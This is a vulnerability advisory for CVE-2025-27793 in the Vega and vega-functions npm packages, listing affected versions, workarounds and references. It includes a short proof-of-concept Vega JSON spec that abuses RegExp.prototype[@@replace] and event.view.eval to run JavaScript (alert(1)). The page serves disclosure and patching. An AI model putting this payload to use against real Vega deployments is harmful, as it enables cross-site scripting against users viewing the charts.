CVE-2025-27793: Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Impact Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter. Workarounds - Use vega with expression interpreter - Upgrade to a newer Vega version (5.32.0) POC Summary Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
Published Mar 27, 2025
Affected packages
vega
- Ecosystem
- npm
- Affected
- < 5.32.0
- Fixed in
- 5.32.0
- Check
npm ls vega
vega-functions
- Ecosystem
- npm
- Affected
- < 5.17.0
- Fixed in
- 5.17.0
- Check
npm ls vega-functions
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.
Workarounds
- Use
vegawith expression interpreter - Upgrade to a newer Vega version (
5.32.0)
POC Summary
Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
POC Details
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.
Reproduction steps
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}Credited to FallingPineapples, hydrosquall, domoritz.
References
- https://github.com/vega/vega/security/advisories/GHSA-963h-3v39-3pqf
- https://nvd.nist.gov/vuln/detail/CVE-2025-27793
- https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966
- https://github.com/vega/vega/releases/tag/v5.32.0
- https://vega.github.io/vega/usage/interpreter
- https://github.com/advisories/GHSA-963h-3v39-3pqf
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2025-66648
`vega-functions` vulnerable to Cross-site Scripting via `setdata` function
high7.2Jan 5, 2026CVE-2025-59840
Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable
high8.1Nov 13, 2025CVE-2025-26619
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
medium6.1Mar 27, 2025CVE-2025-25304
Vega allows Cross-site Scripting via the vlSelectionTuples function
medium6.9Feb 14, 2025
